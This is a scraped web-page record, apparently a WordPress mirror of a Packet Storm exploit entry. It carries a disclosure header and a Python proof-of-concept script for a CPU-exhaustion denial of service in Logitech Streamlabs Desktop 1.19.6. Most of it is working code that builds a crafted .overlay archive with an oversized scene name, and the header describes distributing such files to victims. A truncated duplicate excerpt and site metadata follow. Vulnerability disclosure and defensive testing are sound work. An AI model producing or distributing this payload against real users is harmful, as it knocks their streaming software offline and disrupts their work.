{“lastseen”:”2025-11-13T16:16:51″,”description”:”Logitech Streamlabs Desktop version 1.19.6 has a vulnerability where…”,”published”:”2025-11-13T00:00:00″,”modified”:”2025-11-13T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Logitech Streamlabs Desktop 1.19.6 CPU Exhaustion”,”source”:””,”references”:””,”id”:”PACKETSTORM:211594″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”#!\/usr\/bin\/env python3\\n #\\n #\\n # Logitech Streamlabs Desktop 1.19.6 (overlay) CPU Exhaustion\\n #\\n #\\n # Vendor: Logitech | General Workings, Inc.\\n # Product web page: https:\/\/www.logitech.com | https:\/\/www.streamlabs.com\\n # Affected version 1.19.6 (macOS\/Win)\\n #\\n # Summary: Streamlabs Desktop is a free streaming and recording software,\\n # built on OBS Studio, for content creators to stream live to platforms\\n # like Twitch, YouTube, and Facebook. It is designed to be beginner-friendly\\n # and offers tools for creating engaging streams, such as customizable overlays,\\n # alerts for viewer interactions, and the ability to add guests to a stream. \\n #\\n # Desc: A vulnerability exists in Streamlabs Desktop where importing a\\n # crafted .overlay file can cause uncontrolled CPU consumption, leading\\n # to a denial-of-service condition. The .overlay file is an archive\\n # containing a config.json configuration. By inserting an excessively\\n # large string into the name attribute of a scene object within config.json,\\n # the application’s renderer process (Frameworks\/Streamlabs Desktop Helper\\n # (Renderer).app) spikes to over 150% CPU and becomes unresponsive. This\\n # forces the victim to terminate the application manually, resulting in\\n # loss of availability. An attacker could exploit this by distributing\\n # malicious overlay files to disrupt streaming operations.\\n #\\n # ———————————————————————-\\n # $ ps ucp 66595\\n # USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND\\n # lqwrm 66595 100.3 0.6 1596218784 221344 ?? R 2:15PM 1:32.11 Streamlabs Desktop Helper (Renderer)\\n # ———————————————————————-\\n #\\n # Tested on: macOS Sequoia version 15.7.2, 15.7.1\\n # Microsoft Windows 11 25H2\\n # Microsfot Windows 10\\n #\\n #\\n # Vulnerability discovered by Gjoko ‘LiquidWorm’ Krstic\\n # @zeroscience\\n #\\n #\\n # Advisory ID: ZSL-2025-5967\\n # Advisory URL: https:\/\/www.zeroscience.mk\/en\/vulnerabilities\/ZSL-2025-5967.php\\n #\\n #\\n # 15.10.2025\\n #\\n \\n \\n import argparse\\n import json\\n import zipfile\\n from pathlib import Path\\n \\n def build_config(name: str) -\\u003e dict:\\n return {\\n \\”schemaVersion\\”: 2,\\n \\”nodeType\\”: \\”RootNode\\”,\\n \\”scenes\\”: {\\n \\”schemaVersion\\”: 2,\\n \\”nodeType\\”: \\”ScenesNode\\”,\\n \\”items\\”: [\\n {\\n \\”slots\\”: {\\n \\”schemaVersion\\”: 1,\\n \\”nodeType\\”: \\”SlotsNode\\”,\\n \\”items\\”: []\\n },\\n \\”name\\”: name,\\n \\”sceneId\\”: \\”scene_8e59eea4-d0f1-424f-8837-1aacd707700c\\”\\n }\\n ]\\n },\\n \\”transition\\”: {\\n \\”schemaVersion\\”: 1,\\n \\”nodeType\\”: \\”TransitionNode\\”,\\n \\”type\\”: \\”cut_transition\\”,\\n \\”settings\\”: {},\\n \\”duration\\”: 300\\n },\\n \\”nodeMap\\”: {\\n \\”schemaVersion\\”: 1,\\n \\”nodeType\\”: \\”NodeMapNode\\”\\n }\\n }\\n \\n def create_overlay(output_path: Path, name_length: int = 1000) -\\u003e Path:\\n scene_name = \\”A\\” * name_length\\n config_dict = build_config(scene_name)\\n config_bytes = json.dumps(config_dict, indent=2, ensure_ascii=False).encode(\\”utf-8\\”)\\n \\n output_path.parent.mkdir(parents=True, exist_ok=True)\\n \\n with zipfile.ZipFile(output_path, mode=\\”w\\”, compression=zipfile.ZIP_DEFLATED) as zf:\\n zf.writestr(\\”config.json\\”, config_bytes)\\n \\n return output_path\\n \\n def main():\\n parser = argparse.ArgumentParser(description=\\”Create a Streamlabs .overlay with a 1000 chars scene name.\\”)\\n parser.add_argument(\\”-o\\”, \\”–output\\”, type=Path, default=Path(\\”sample.overlay\\”),\\n help=\\”Path to the output .overlay archive (default: sample.overlay)\\”)\\n parser.add_argument(\\”-n\\”, \\”–name-length\\”, type=int, default=1000,\\n help=\\”Number of bytes to use for the scene name (default: 1000)\\”)\\n \\n args = parser.parse_args()\\n \\n out = create_overlay(args.output, name_length=args.name_length)\\n print(f\\”Created overlay: {out.resolve()}\\”)\\n \\n \\n if __name__ == \\”__main__\\”:\\n main()”,”sourceHref”:”https:\/\/packetstorm.news\/download\/211594″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/211594\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-11-13T16:16:51″,”description”:”Logitech Streamlabs Desktop version 1.19.6 has a vulnerability where…”,”published”:”2025-11-13T00:00:00″,”modified”:”2025-11-13T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Logitech Streamlabs Desktop 1.19.6 CPU Exhaustion”,”source”:””,”references”:””,”id”:”PACKETSTORM:211594″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”#!\/usr\/bin\/env python3\\n #\\n #\\n # Logitech Streamlabs Desktop 1.19.6 (overlay) CPU…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-26121","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n